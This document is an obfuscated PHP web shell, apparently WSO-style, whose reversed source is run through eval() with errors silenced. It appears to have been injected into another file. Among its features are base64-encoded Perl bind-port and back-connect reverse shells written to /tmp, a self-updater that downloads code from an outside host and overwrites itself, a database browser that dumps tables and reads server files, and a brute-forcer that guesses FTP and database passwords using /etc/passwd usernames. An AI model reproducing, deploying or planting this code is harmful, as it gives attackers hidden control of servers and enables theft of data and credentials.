'; /* xmkpmhtsdho u tweiy */ error_reporting(0); ini_set('log_errors', 0); eval($pWsig($uYxzh('
;tixe
;)]'a'[TSOP_$ . 'noitca'(cnuf_resu_llac	
) )]'a'[TSOP_$ . 'noitca'(stsixe_noitcnuf && )]'a'[TSOP_$(ytpme! (fi
;'ofnIceS' = ]'a'[TSOP_$		
esle	
;noitca_tluafed$ = ]'a'[TSOP_$		
))noitca_tluafed$ . 'noitca'(stsixe_noitcnuf && )noitca_tluafed$(tessi(fi	
) )]'a'[TSOP_$(ytpme (fi
}
}	
;)]'1p'[TSOP_$(lave		
{ esle }	
;)a$(ezilaires ohce		
;)		
)'edom_efas'(teg_ini@ >= "edomefas"			
,NOISREV_OSW >= "noisrev_osw"			
,)(noisrevphp >= "noisrev_php"			
,)(emanu_php >= "emanu"			
(yarra = a$		
{ )]'1p'[TSOP_$@!(fi	
{ )(CRnoitca noitcnuf

}
;)(retooFosw	
;">tpircs/< ;'elifeman$'=ferh.noitacol >tpircs<" ohce	
;">retnec/<>rb<! enoD/.>retnec<" ohce	
;)php$ ,elifeman$(stnetnoc_tup_elif	
}	
;'lmthp.'.]1[2elifeman$ = elifeman$		
;)2elifeman$ ,elifeman$ ,"#lmthp.\)*.(#"(hctam_gerp		
{))elifeman$ ,"/lmthp.\/"(hctam_gerp(fiesle}	
;'7php.'.]1[2elifeman$ = elifeman$		
;)2elifeman$ ,elifeman$ ,"#7php.\)*.(#"(hctam_gerp		
{))elifeman$ ,"/7php.\/"(hctam_gerp(fiesle}	
;'5php.'.]1[2elifeman$ = elifeman$		
;)2elifeman$ ,elifeman$ ,"#5php.\)*.(#"(hctam_gerp		
{))elifeman$ ,"/5php.\/"(hctam_gerp(fiesle}	
;'php.'.]1[2elifeman$ = elifeman$		
;)2elifeman$ ,elifeman$ ,"#php.\)*.(#"(hctam_gerp		
{))elifeman$ ,"/php.\/"(hctam_gerp(fi	
;)__ELIF__(emanesab = elifeman$	
} ;)(eid ;)(retooFosw ;'>retnec/<>tnof/<>p/<.deliaF ]-[>p<>"der"=roloc tnof<>retnec<' ohce {))php$ ,"/php?\</"(hctam_gerp!(fi	
;)"mth.79136921028f03d89e89709f76328369/evil.kcatselif//:ptth"(stnetnoc_teg_ptth =  php$	
}	
}		
;xedoc$ nruter			
{ esle}		
;)egaPlru$(nruter			
;)hc$(esolc_lruc			
;)hc$(cexe_lruc = egaPlru$			
;)"0.34/xoferiF 10100102/okceG )0.34:vr ;46WOW ;0.01 TN swodniW( 0.5/allizoM" ,TNEGARESU_TPOLRUC ,hc$(tpotes_lruc			
;)eurt,NOISSESEIKOOC_TPOLRUC ,hc$(tpotes_lruc			
;)51 ,TUOEMIT_TPOLRUC ,hc$(tpotes_lruc			
;)51 ,TUOEMITTCENNOC_TPOLRUC ,hc$(tpotes_lruc			
;)0 ,TSOHYFIREV_LSS_TPOLRUC ,hc$(tpotes_lruc			
;)0 ,REEPYFIREV_LSS_TPOLRUC ,hc$(tpotes_lruc			
;)1 ,REFSNARTNRUTER_TPOLRUC ,hc$(tpotes_lruc			
;)1 ,NOITACOLWOLLOF_TPOLRUC ,hc$(tpotes_lruc			
 ;)0 ,REDAEH_TPOLRUC ,hc$(tpotes_lruc			
;)lru$ ,LRU_TPOLRUC ,hc$(tpotes_lruc			
;)(tini_lruc = hc$			
{))xedoc$(ytpme( fi		
;)lru$(stnetnoc_teg_elif@ = xedoc$		
{)lru$(stnetnoc_teg_ptth noitcnuf	
;">tnetnoc=ssalc vid<>1h/<etadPU>1h<" ohce	
;)(redaeHosw	
{ )(etaDPUnoitca noitcnuf

}
;)(retooFosw	
;'>vid/<' ohce	
}	
}		
;)"lp.cb/pmt/"(knilnu            
;">erp/<".)"lp.cb perg | xua sp"(xEosw."n\tuo$>1lm=ssalc erp<" ohce			
;)1(peels            
;)"& 1&>2 llun/ved/>1 ".]'3p'[TSOP_$." ".]'2p'[TSOP_$." lp.cb/pmt/ lrep"(xEosw = tuo$			
;)p_tcennoc_kcab$,"lp.cb/pmt/"(fc			
{ )'pcb' == ]'1p'[TSOP_$(fi		
}		
;)"lp.pb/pmt/"(knilnu            
;">erp/<".)"lp.pb perg | xua sp"(xEosw."n\tuo$>1lm=ssalc erp<" ohce			
;)1(peels            
;)"& 1&>2 llun/ved/>1 ".]'2p'[TSOP_$." lp.pb/pmt/ lrep"(xEosw = tuo$			
;)p_trop_dnib$,"lp.pb/pmt/"(fc			
{ )'ppb' == ]'1p'[TSOP_$(fi		
}		
}			
;)w$(esolcf@				
;))t$(edoced_46esab@,w$(etirwf@				
{)w$(fi			
;)'stnetnoc_tup_elif'(stsixe_noitcnuf@ ro )"w",f$(nepof@ = w$			
{ )t$,f$(fc noitcnuf		
{ ))]'1p'[TSOP_$(tessi(fi	
;">rb<>mrof/<	
>'>>'=eulav timbus=epyt tupni< >'73313'=eulav 'trop'=eman 'txet'=epyt tupni< :troP >'". ]'RDDA_ETOMER'[REVRES_$ ."'=eulav 'revres'=eman 'txet'=epyt tupni< :revreS	
>/rb<>naps/<]lrep[  tcennoc-kcaB>naps<	
>"\;eslaf nruter;)eulav.trop.siht,eulav.revres.siht,'pcb',llun,llun(g"\=timbuSno 'pfn'=eman mrof<	
>mrof/<	
>'>>'=eulav timbus=epyt tupni< >'73313'=eulav 'trop'=eman 'txet'=epyt tupni< :troP	
>/rb<>naps/<]lrep[ hs/nib/ ot trop dniB>naps<	
>"\;eslaf nruter;)eulav.trop.siht,'ppb',llun,llun(g"\=timbuSno 'pfn'=eman mrof<	
>tnetnoc=ssalc vid<>1h/<sloot krowteN>1h<" ohce	
;"=0nCN0XCK0wOwACdphXZJkgCNsjTO90QgU2cvx2YJkgCNsjIuxFTMVESTRCIlRXdjVGelBCduF2QiAiTO90QgQnbpJHcgUWakBCf8BCTMVESTRCIjVGellQCK0wOi4kTPNkJ+ICLSJVRER1Ug4WZw9WCJoQD7IiTO90Qm4jIsQVVPREVTBiblB3bJkgCNsjIO50TDZCPiwiTJREVTBiblB3bJkgCNsTKklGckACZl5WamVGZhgCImlGIismcvZGI09mbuF2QiASZpRWCJoQD7BSKpsmcvZWPklGckgSIoYWaJoQD7kyUs4kTPNEK0BXZjNWYJoQD7BSKxgSZslGa3pQD7IibcRncvBHIuVGdzlGbgQnbhNkIgUWakBCf8BSKzwyUo4WZ0NXaspQD7IibcRncvBHIuVGcvBCduF2QiASZpRGI8xHIpkSWOF0XSRERB5USs0FMbZ1RSFEJo4WafJHZkF2aj92csMFKk5WaipQD7kSMsIFREFURTVVRS91TTxCVFt0QPN1XM90UsMFK0B3brN2bzRXZzpQD7IibcRXZrN2bzBSZ0FWZyNGI05WYDJCIllGZgwHfgkSKnA3Y0dCKl1WYulnYvR3byBHdldGLNFURSR1Uft0QPNlJsQVROl0XGBlJsMFK0V2aj92cK0wO0V2aj92UgU2c1pQD9ByOpEDK0lGelByegkSMgwDIWdkUBBEKgYWaK0wOikWLgg2cv4Wai9iI9wETFh0UkoQDsJXZw9ibpJ2LyNXdvEyI"=p_trop_dnib$	
;"7kiUSVERUNFKlN3bsNmCNsTKUV1TER1UoU2cvx2YK0wOp4USER1UoU2cvx2YK0wOpcSatACaz9ibpJ2LngSblR3c5NnCNsTKiQVRLN0TTZiPiACLSJVRER1Uo4WZw9mCNsTKiQVRLN0TTZiPiACLUV1TER1Uo4WZw9mCNsTKiQVRLN0TTZiPiACLOlERUNFKuVGcvpQD7kiIuxVIkAiOy9mcyVkIoUWakBCf8BSKyRGZhBHJgwCVFt0QPNFK0NWZu52bjpQD7kiIuxVIkAiOy9mcyVkIoUWakBCf8BSKvR3byBHJgwSTBVkUUN1XLN0TTBCLUVkTJ9lRQBCLUV0SD90UoQXZrN2bzpQD7kyJwNGdngSZtFmb5J2b09mcwRXZn1zb09mcwRiCNsTKi4GXhQCI6I3byJXRigSZpRGI8xHIpIHZkFWakACLdFzWWdkUBRCKul2XyRGZht2YvNXPyRGZhBHJK0wOpIibcFCJgojcvJncFJCKllGZgwHfgkSXwslVHJVQkgibvRXYfRXZulWPyRGZhlGJK0wO0V2aj92UgU2c1pQDsJXZw9ibpJ2LyNXdvEyI"=p_tcennoc_kcab$	
;)(redaeHosw	
{ )(krowteNnoitca noitcnuf
}
;)(retooFosw	
;'>vid/<' ohce	
}    
;))(rorre>-bd$(srahclaicepslmth ohce        
{ esle }	
}			
;'>erp/<'.)]'elif'[elif$(srahclaicepslmth.'>1lm=ssalc erp<>/rb<' ohce				
;)]'2p'[TSOP_$(eliFdaol>-bd$ = elif$				
{ )'elifdaol' == ]'1p'[TSOP_$@(fi			
}            
;">mrof/<>'>>'=eulav timbus=epyt tupni<>f=eman txet=epyt 'pnIsloot'=ssalc  tupni< >naps/<elif daoL>naps<>';eslaf nruter;)(timbus.fs.tnemucod;eulav.f.siht=eulav.2p.fs.tnemucod;"\elifdaol"\=eulav.1p.fs.d'=timbusno mrof<" ohce                    
))(hctef>-bd$(fi                
;)"'y' = `virp_eliF` DNA )(RESU = )`tsoh` ,'@' ,`resu`(tacnoc EREHW resu.lqsym MORF 1 TCELES"(yreuq>-bd$                
{ )'lqsym'==]'epyt'[TSOP_$(fi            
;">/rb<>mrof/<>elbat/<" ohce			
}			
;">rt/<>dt/<" ohce				
;">'etucexE'=eulav timbus=epyt tupni<>/rb<>aeratxet/<" ohce                
;)]'2p'[TSOP_$(srahclaicepslmth ohce                    
))'elifdaol' =! ]'1p'[TSOP_$( && )]'2p'[TSOP_$(ytpme!(fi                
;">'xp001:thgieh;%001:htdiw'=elyts 'yreuq'=eman aeratxet<>';eslaf nruter;)(timbus.fs.tnemucod;eulav.yreuq.siht=eulav.2p.fs.d;"\yreuq"\=eulav.1p.fs.d'=timbusno mrof<>mrof/<>rb<" ohce				
}				
}					
;'>vid/<'.))(rorre>-bd$(srahclaicepslmth.' >b/<:rorrE>b<>vid<' ohce						
{ esle }					
;'>elbat/<' ohce						
}						
;'>rt/<' ohce							
}							
;'>dt/<'.))eulav$(srahclaicepslmth(rb2ln.'>dt<' ohce									
esle								
;'>dt/<>i/<llun>i<>dt<' ohce									
)llun == eulav$(fi								
{ )eulav$ >= yek$ sa meti$(hcaerof							
;1:2?1==enil$ = enil$							
;'>"'.enil$.'l"=ssalc rt<' ohce							
}							
;2 = enil$								
;'>rt<>rt/<' ohce								
;eurt=eltit$								
;)meti$(teser								
;'>ht/<'.yek$.'>ht<' ohce									
)eulav$ >= yek$ sa meti$(hcaerof								
;'>rt<' ohce								
{	)eltit$!(fi							
{	))(hctef>-bd$ = meti$(elihw						
;1 = enil$						
;'>"929292#:roloc-dnuorgkcab"=elyts niam=ssalc 2=gniddapllec 1=gnicapsllec %001=htdiw elbat<' ohce						
;eslaf = eltit$						
{ )eslaf ==! ser>-bd$(fi					
;)]'2p'[TSOP_$@(yreuq>-bd$					
{ ))]'2p'[TSOP_$(ytpme! && )'yreuq' == ]'1p'[TSOP_$@((fi				
}				
;">rb<>rb<" ohce					
;'03,'.)03*]'3p'[TSOP_$(.' TIMIL `'.]'2p'[TSOP_$.'` MORF * TCELES' = ]'2p'[TSOP_$						
esle					
;)03*]'3p'[TSOP_$(.' TESFFO 03 TIMIL '.]'2p'[TSOP_$.' MORF * TCELES' = ]'2p'[TSOP_$						
)'lqsgp'==]'epyt'[TSOP_$(fi					
;--]'3p'[TSOP_$                    
;">a/<;tg& txeN>')" . )1+]'3p'[TSOP_$( . ' ,"' . ]'2p'[TSOP_$ . ""\(ts'=kcilcno #=ferh a< " ohce                        
)segap$ < ]'3p'[TSOP_$(fi                    
;">a/<verP ;tl&>')" . )1-]'3p'[TSOP_$( . ' ,"' . ]'2p'[TSOP_$ . ""\(ts'=kcilcno #=ferh a< " ohce                        
)1 > ]'3p'[TSOP_$(fi                    
;"segap$ fo " ohce                    
;">" . )]'3p'[TSOP_$)tni(( . "=eulav '3p'=eman txet=epyt tupni< # egaP )sdrocer }]'n'[mun${( >naps/<".]'2p'[TSOP_$.">naps<>tpircs/<})eulav.3p.fs.d ,"\" . ]'2p'[TSOP_$ . ""\(ts{)(noitcnuf=timbusno.fs.d>tpircs<" ohce                    
;)03 / ]'n'[mun$(liec = segap$					
;)(hctef>-bd$ = mun$					
;)]'2p'[TSOP_$ . ' MORF n sa )*(TNUOC TCELES'(yreuq>-bd$					
;1:]'3p'[TSOP_$?]'3p'[TSOP_$ = ]'3p'[TSOP_$                    
;'yreuq' = ]'1p'[TSOP_$					
{ )'tceles' == ]'1p'[TSOP_$@(fi				
;">';666# dilos xp2:pot-redrob'=elyts dt<>dt/<>'lqs.pmud'=eulav elif=eman txet=epyt tupni<:htap eliF>rb<>';)(timbus.fs.tnemucod;"\daolnwod"\=eulav.2p.fs.tnemucod'=kcilcno 'pmuD'=eulav nottub=epyt tupni< >';)(si'=kcilcno 'xobkcehc'=epyt tupni<" ohce				
}				
;">rb<>rbon/<" . )">llams/<)}]'n'[n${(>llams< ":';psbn&'?)]'tnuoc_lqs'[TSOP_$(ytpme( . ">a/<".eulav$.">"\)1,'".eulav$."'(ts"\=kcilcno #=ferh a<;psbn&>'".eulav$."'=eulav '][lbt'=eman 'xobkcehc'=epyt tupni<>rbon<" ohce					
;)eulav$(srahclaicepslmth = eulav$					
;))''.eulav$.' MORF n sa )*(TNUOC TCELES'(yreuq>-bd$(hctef>-bd$ = n$                        
))]'tnuoc_lqs'[TSOP_$(ytpme!(fi                    
;)meti$(hcae = )eulav$ ,yek$(tsil					
{ ))ser_slbt$(hctef>-bd$ = meti$(elihw				
;)(selbaTtsil>-bd$ = ser_slbt$				
;">rb<>rb<>naps/<:selbaT>naps<>';666# dilos xp2:pot-redrob'=elyts 1=htdiw dt<>rt<" ohce				
;)]'esab_lqs'[TSOP_$(bdtceles>-bd$				
{))]'esab_lqs'[TSOP_$(ytpme!(fi			
;">0=gnicapsllec 2=gniddapllec %001=htdiw elbat<>/rb<" ohce		
{)knil>-bd$ && )bd$(tessi(fi	
;">tpircs/<		
}			
;dekcehc.]i[]'][lbt'[stnemele.fs.d! = dekcehc.]i[]'][lbt'[stnemele.fs.d					
)i++;htgnel.]'][lbt'[stnemele.fs.d<i;0=i(rof				
{ )(si noitcnuf			
}			
;)(timbus.fs.d				
;l = eulav.3p.fs.d )3p.fs.d && l(fi                
;t = eulav.2p.fs.d				
;'tceles' = eulav.1p.fs.d				
{ )l,t(ts noitcnuf			
}            
}                
;''=eulav.3p.f )3p.f(fi                    
;''=eulav.2p.f )2p.f(fi                    
;''=eulav.1p.f )1p.f(fi                    
;}{ )(noitcnuf = timbusno.f { )bd_s=!eulav.esab_lqs.f(fi                
{ )f(sf noitcnuf            
;'".)]'esab_lqs'[TSOP_$(sehsalsdda@."'=bd_s            
>tpircs<		
>elbat/<		
>rt/<			
>dt/<swor fo rebmun eht tnuoc >" . )'dekcehc ':''?)]'tnuoc_lqs'[TSOP_$(ytpme( . "'no'=eulav tnuoc_lqs=eman xobkcehc=epyt tupni<>dt<                
>dt/<>';)fs.d(sf'=kcilcno '>>'=eulav timbus=epyt tupni<>dt<				
>dt/<" ohce	
;pmt$ ohce		
esle}	
;pmt$ ohce esle		
}		
;'>tceles/<' ohce			
}			
;'>noitpo/<'.eulav$.'>'.)'':'detceles'?]'esab_lqs'[TSOP_$==eulav$(.' "'.eulav$.'"=eulav noitpo<' ohce				
;)meti$(hcae = )eulav$ ,yek$(tsil				
{ ))(hctef>-bd$ = meti$(elihw			
;">noitpo/<>''=eulav noitpo<>esab_lqs=eman tceles<" ohce			
;)(sbDtsil>-bd$			
}			
;kaerb ;)'668pc'(tesrahCtes>-bd$ :"668pc" esac				
;kaerb ;)'u8iok'(tesrahCtes>-bd$ :"U-8IOK" esac				
;kaerb ;)'r8iok'(tesrahCtes>-bd$ :"R-8IOK" esac				
;kaerb ;)'8ftu'(tesrahCtes>-bd$ :"8-FTU" esac				
;kaerb ;)'1521pc'(tesrahCtes>-bd$ :"1521-swodniW" esac				
{ )]'tesrahc'[TSOP_$(hctiws			
{ ))]'esab_lqs'[TSOP_$ ,]'ssap_lqs'[TSOP_$ ,]'nigol_lqs'[TSOP_$ ,]'tsoh_lqs'[TSOP_$(tcennoc>-bd$(fi		
{))]'tsoh_lqs'[TSOP_$(tessi(fi	
;">''=eulav esab_lqs=eman txet=epyt tupni<" = pmt$	
;">dt<>dt/<>"\". ))]'ssap_lqs'[TSOP_$(srahclaicepslmth:''?)]'ssap_lqs'[TSOP_$(ytpme( .""\=eulav ssap_lqs=eman txet=epyt tupni<>dt<
>dt/<>"\". ))]'nigol_lqs'[TSOP_$(srahclaicepslmth:'toor'?)]'nigol_lqs'[TSOP_$(ytpme( .""\=eulav nigol_lqs=eman txet=epyt tupni<>dt<
>dt/<>"\". ))]'tsoh_lqs'[TSOP_$(srahclaicepslmth:'tsohlacol'?)]'tsoh_lqs'[TSOP_$(ytpme( .""\=eulav tsoh_lqs=eman txet=epyt tupni<>dt<
>dt/<>tceles/<>noitpo/<lqSergtsoP>" ohce
;'detceles' ohce)'lqsgp'==]'epyt'[TSOP_$@(fi
;" 'lqsgp'=eulav noitpo<>noitpo/<lqSyM>" ohce
;'detceles' ohce)'lqsym'==]'epyt'[TSOP_$@(fi    
;" 'lqsym'=eulav noitpo<>'epyt'=eman tceles<>dt<
>'". )'':]'tesrahc'[TSOP_$?)]'tesrahc'[TSOP_$(tessi( ."'=eulav tesrahc=eman neddih=epyt tupni<>'". )]'dwc'[SLABOLG$(srahclaicepslmth ."'=eulav c=eman neddih=epyt tupni<>''=eulav 2p=eman neddih=epyt tupni<>'yreuq'=eulav 1p=eman neddih=epyt tupni<>lqS=eulav a=eman neddih=epyt tupni<
>rt<>rt/<>dt/<>dt<>dt/<esabataD>dt<>dt/<drowssaP>dt<>dt/<nigoL>dt<>dt/<tsoH>dt<>dt/<epyT>dt<
>rt<>'0'=gnicapsllec '2'=gniddapllec elbat<>';)siht(sf'=timbusno 'tsop'=dohtem 'fs'=eman mrof<
>tnetnoc=ssalc vid<>1h/<resworb lqS>1h<
" ohce	
;)(redaeHosw	
}	
;)'>tpircs/<)1-(kcab.yrotsih.wodniw;)"elif nepo t'\naC !rorrE"(trela>tpircs<'(eid            
esle }        
;)]'2p'[TSOP_$(tesnu            
;)pf$(esolcf            
;)pf$ ,v$(pmud>-bd$                
)v$ sa ]'lbt'[TSOP_$(hcaerof            
{ ))'w' ,]'elif'[TSOP_$(nepof@ = pf$(fiesle }        
;tixe            
;)v$(pmud>-bd$				
)v$ sa ]'lbt'[TSOP_$(hcaerof            
;)"nialp/txet :epyT-tnetnoC"(redaeh            
;)"lqs.pmud=emanelif ;tnemhcatta :noitisopsiD-tnetnoC"(redaeh            
;)6904 ,"reldnahzg_bo"(trats_bo            
{ ))]'elif'[TSOP_$(ytpme(fi        
}        
;kaerb ;)'668pc'(tesrahCtes>-bd$ :"668pc" esac            
;kaerb ;)'u8iok'(tesrahCtes>-bd$ :"U-8IOK" esac            
;kaerb ;)'r8iok'(tesrahCtes>-bd$ :"R-8IOK" esac            
;kaerb ;)'8ftu'(tesrahCtes>-bd$ :"8-FTU" esac            
;kaerb ;)'1521pc'(tesrahCtes>-bd$ :"1521-swodniW" esac            
{ )]'tesrahc'[TSOP_$(hctiws        
;)]'esab_lqs'[TSOP_$(bdtceles>-bd$		
;)]'esab_lqs'[TSOP_$ ,]'ssap_lqs'[TSOP_$ ,]'nigol_lqs'[TSOP_$ ,]'tsoh_lqs'[TSOP_$(tcennoc>-bd$		
{ ))'tceles'=!]'1p'[TSOP_$@( && )'daolnwod'==]'2p'[TSOP_$@((fi	
;)]'epyt'[TSOP_$(ssalCbD wen = bd$	
;}	
}		
;eslaf nruter			
}			
;kaerb				
}					
;)lqs$(ohce esle ;)lqs$ ,pf$(etirwf )pf$(fi                        
;"n\".';)'.)meti$ ," ,"(edolpmi.'( SEULAV )'.)snmuloc$ ," ,"(edolpmi.'( '.elbat$.' OTNI TRESNI' = lqs$                        
}						
;k$ = ][snmuloc$							
;"'".)v$(sehsalsdda."'" = ]k$[meti$							
{ )v$>=k$ sa meti$(hcaerof						
;)(yarra = snmuloc$						
{ ))(hctef>-siht$ = meti$(elihw					
;)elbat$.' MORF * TCELES'(yreuq>-siht$					
:'lqsgp' esac				
;kaerb				
;)"n\n\;"(ohce esle ;)"n\n\;" ,pf$(etirwf )pf$(fi                        
)daeh$!(fi                    
}					
;++i$                        
;)lqs$(ohce esle ;)lqs$ ,pf$(etirwf )pf$(fi                        
;')'.)meti$ ," ,"(edolpmi."(,t\n\" =. lqs$                            
esle }                        
;eslaf = daeh$                            
;')'.)meti$ ," ,"(edolpmi."(t\n\ SEULAV )".)snmuloc$ ," ,"(edolpmi.'( `'.elbat$.'` OTNI TRESNI' =. lqs$                            
{ )daeh$(fi                        
}						
;"`".k$."`" = ][snmuloc$							
;"'".)v$(gnirts_epacse_laer_lqsym@."'" = ]k$[meti$                                
esle                            
;v$ = ]k$[meti$                                
))v$(tni_si(fiesle                            
;"LLUN" = ]k$[meti$                                
)llun === v$(fi                            
{ )v$>=k$ sa meti$(hcaerof						
;)(yarra = snmuloc$						

}                        
;"n\n\;" = lqs$                            
;eurt = daeh$                            
{ )0 == 0001 % i$(fi                        
;'' = lqs$                        
{ ))(hctef>-siht$ = meti$(elihw					
;eurt = daeh$                    
;0 = i$                    
;)'`'.elbat$.'` MORF * TCELES'(yreuq>-siht$					
;)lqs$(ohce esle ;)lqs$ ,pf$(etirwf )pf$(fi                    
;"n\;".]1[etaerc$ = lqs$					
;)ser$(yarra_hctef_lqsym = etaerc$					
;)'`'.elbat$.'` ELBAT ETAERC WOHS'(yreuq>-siht$ = ser$					
:'lqsym' esac				
{	)epyt>-siht$(hctiws			
{ )eslaf = pf$ ,elbat$(pmud noitcnuf		
}		
;eslaf nruter			
}			
;kaerb				
;))r$,"n\"(edolpmi>='elif'(yarra nruter					
;)'2osw elbat pord'(yreuq>-siht$					
;]'elif'[i$ = ][r$						
))(hctef>-siht$=i$(elihw					
;)(yarra=r$					
;)";2osw morf elif tceles;'".)rts$(sehsalsdda."' MORF 2osw YPOC;)txet elif(2osw ELBAT ETAERC"(yreuq>-siht$					
:'lqsgp' esac				
;kaerb				
;))"elif sa )'".)rts$(sehsalsdda."'(ELIF_DAOL TCELES"(yreuq>-siht$(hctef>-siht$ nruter					
:'lqsym' esac				
{	)epyt>-siht$(hctiws			
{ )rts$(eliFdaol noitcnuf		
}		
;eslaf nruter			
}			
;kaerb					
;)rts$ ,knil>-siht$(gnidocne_tneilc_tes_gp@ nruter					
:'lqsgp' esac				
;kaerb					
;)rts$.' TESRAHC TES'(yreuq>-siht$						
esle					
;)knil>-siht$ ,rts$(tesrahc_tes_lqsym@ nruter						
))'tesrahc_tes_lqsym'(stsixe_noitcnuf(fi					
:'lqsym' esac				
{	)epyt>-siht$(hctiws			
{ )rts$(tesrahCtes noitcnuf		
}		
;eslaf nruter			
}			
;kaerb				
;)(rorre_tsal_gp@ nruter					
:'lqsgp' esac				
;kaerb				
;)(rorre_lqsym@ nruter					
:'lqsym' esac				
{	)epyt>-siht$(hctiws			
{ )(rorre noitcnuf		
}		
;eslaf nruter			
}			
;kaerb				
;)"'golatac_gp' =! amehcs_elbat DNA 'amehcs_noitamrofni' =! amehcs_elbat erehw selbat.amehcs_noitamrofni morf eman_elbat tceles"(yreuq>-siht$ = ser>-siht$ nruter					
:'lqsgp' esac				
;kaerb				
;)'SELBAT WOHS'(yreuq>-siht$ = ser>-siht$ nruter					
:'lqsym' esac				
{	)epyt>-siht$(hctiws			
{ )(selbaTtsil noitcnuf		
}		
;eslaf nruter			
}			
;kaerb				
;)"'t'=!etalpmetsitad EREHW esabatad_gp MORF emantad TCELES"(yreuq>-siht$ = ser>-siht$ nruter					
:'lqsgp' esac				
;kaerb				
;)"sesabatad WOHS"(yreuq>-siht$ nruter                        
:'lqsym' esac				
{	)epyt>-siht$(hctiws			
{ )(sbDtsil noitcnuf		
}		
;eslaf nruter			
}			
;kaerb					
;)ser$(cossa_hctef_gp@ nruter					
:'lqsgp' esac				
;kaerb					
;)ser$(cossa_hctef_lqsym@ nruter					
:'lqsym' esac				
{	)epyt>-siht$(hctiws			
;ser>-siht$:)0(gra_teg_cnuf?)(sgra_mun_cnuf = ser$			
{ )(hctef noitcnuf		
}		
;eslaf nruter			
}			
;kaerb					
;)rts$,knil>-siht$(yreuq_gp@ = ser>-siht$ nruter					
:'lqsgp' esac				
;kaerb					
;)rts$(yreuq_lqsym@ = ser>-siht$ nruter					
:'lqsym' esac				
{ )epyt>-siht$(hctiws			
{ )rts$(yreuq noitcnuf		
}		
;eslaf nruter			
}			
;kaerb					
;eurt nruter))bd$(bd_tceles_lqsym@( fi					
:'lqsym' esac				
{	)epyt>-siht$(hctiws			
{ )bd$(bdtceles noitcnuf		
}		
;eslaf nruter			
}			
;kaerb					
;eurt nruter ) )"emanbd$=emanbd ssap$=drowssap resu$=resu }]1[tsoh${=trop }]0[tsoh${=tsoh"(tcennoc_gp@ = knil>-siht$ (fi					
;2345=]1[tsoh$ )]1[tsoh$!(fi					
;)tsoh$ ,':'(edolpxe = tsoh$					
:'lqsgp' esac				
;kaerb					
;eurt nruter ) )eurt,ssap$,resu$,tsoh$(tcennoc_lqsym@ = knil>-siht$ (fi					
:'lqsym' esac				
{	)epyt>-siht$(hctiws			
{)emanbd$ ,ssap$ ,resu$ ,tsoh$(tcennoc noitcnuf		
}		
;epyt$ = epyt>-siht$			
{	)epyt$(ssalCbD noitcnuf		
;ser$ rav		
;knil$ rav		
;epyt$ rav		
{ ssalCbD ssalc	
{ )(lqSnoitca noitcnuf

}
;)(retooFosw	
;'>rb<>vid/<' ohce	
;'>elbat/<>mrof/<>rt/<>dt/<>">>"=eulav timbus=epyt tupni<>dt<>dt/<>dt<>rt<>rt/<>dt/<'.		
'>elbat/<>rt/<>dt/<>"cid.dwssap'.)]'dwc'[SLABOLG$(srahclaicepslmth.'"=eulav tcid=eman txet=epyt tupni<>dt<'.		
'>dt/<>naps/<yranoitciD>naps<>dt<>rt<'.		
'>rt/<>dt/<>"toor"=eulav nigol=eman txet=epyt tupni<>dt<'.		
'>dt/<>naps/<nigoL>naps<>dt<>rt<>"xp51:tfel-gniddap"=elyts elbat<>dt<>dt/<>dt<>rt<'.		
'>rt/<>dt/<>lebal/<yranoitciD >"2"=eulav epyt=eman oidar=epyt tupni<>lebal<>dt<>dt/<>dt<>rt<'.		
'>rt/<>dt/<>lebal/<)login >- nigol( esrever >dekcehc 1=eulav esrever=eman xobkcehc=epyt tupni<>"xp51:tfel-gniddap"=elyts lebal<>dt<>dt/<>dt<>rt<'.		
'>rt/<>dt/<>lebal/<dwssap/cte/ >dekcehc "1"=eulav epyt=eman oidar=epyt tupni<>lebal<>dt<'.		
'>dt/<>naps/<epyt eturB>naps<>dt<>rt<'.		
'>rt/<>dt/<>"1.0.0.721"=eulav revres=eman txet=epyt tupni<>dt<'.		
'>dt/<>naps/<trop:revreS>naps<'.		
'>"'.)]'tesrahc'[TSOP_$(srahclaicepslmth.'"=eulav tesrahc=eman neddih=epyt tupni<'.		
'>"'.)]'a'[TSOP_$(srahclaicepslmth.'"=eulav a=eman neddih=epyt tupni<'.		
'>"'.)]'dwc'[SLABOLG$(srahclaicepslmth.'"=eulav c=eman neddih=epyt tupni<'.		
'>dt<>rt<>rt/<>dt/<>tceles/<>noitpo/<lqSergtsoP>lqsgp=eulav noitpo<>noitpo/<lqSyM>lqsym=eulav noitpo<>noitpo/<PTF>ptf=eulav noitpo<>otorp=eman tceles<>dt<'.		
'>dt/<>naps/<epyT>naps<>dt<>rt<>tsop=dohtem mrof<>elbat<>tnetnoc=ssalc vid<>1h/<ecrofeturB>1h<' ohce	
}	
;">rb<>vid/<sseccus$ >naps/<:sseccuS>naps< stpmetta$ >naps/<:stpmettA>naps<" ohce		
}		
}				
}					
;'>rb<'.)enil$(srahclaicepslmth.':>b/<'.)]'nigol'[TSOP_$(srahclaicepslmth.'>b<' ohce						
;++sseccus$						
{ ) )enil$ ,]'nigol'[TSOP_$ ,]1[revres$@,]0[revres$(ecroFeturBosw (fi					
;stpmetta$++					
;)enil$(mirt = enil$					
{ )enil$ sa pmet$(hcaerof				
) )pmet$(yarra_si (fi			
;)]'tcid'[TSOP_$(elif@ = pmet$			
{ )2 == ]'epyt'[TSOP_$(fiesle }		
}				
}					
}						
;)pmt$(srahclaicepslmth.':>b/<'.)]0[enil$(srahclaicepslmth.'>b<' ohce							
;++sseccus$							
{ ) )pmt$ ,]0[enil$ ,]1[revres$@,]0[revres$@(ecroFeturBosw (fi						
;stpmetta$++						
;]i$[]0[enil$ =. pmt$							
)i$-- ;0=>i$ ;1-)]0[enil$(nelrts=i$(rof						
;"" = pmt$						
{ )]'esrever'[TSOP_$@(fi					
}					
;'>rb<'.)]0[enil$(srahclaicepslmth.':>b/<'.)]0[enil$(srahclaicepslmth.'>b<' ohce						
;++sseccus$						
{ ) )]0[enil$ ,]0[enil$ ,]1[revres$@,]0[revres$@(ecroFeturBosw (fi					
;stpmetta$++					
;)enil$ ,":"(edolpxe = enil$					
{ )enil$ sa pmet$(hcaerof				
) )pmet$(yarra_si (fi			
;)'dwssap/cte/'(elif@ = pmet$			
{ )1 == ]'epyt'[TSOP_$(fi		
;)]'revres'[TSOP_$ ,":"(edolpxe = revres$		
;0 = stpmetta$		
;0 = sseccus$		
}		
}			
;ser$ nruter				
;)ser$(esolc_gp@				
;)rts$(tcennoc_gp@ = ser$				
;"sergtsop=emanbd '".ssap$."'=drowssap '".nigol$."'=resu '".trop$."'=trop '".pi$."'=tsoh" = rts$				
{ )ssap$,nigol$,trop$,pi$(ecroFeturBosw noitcnuf			
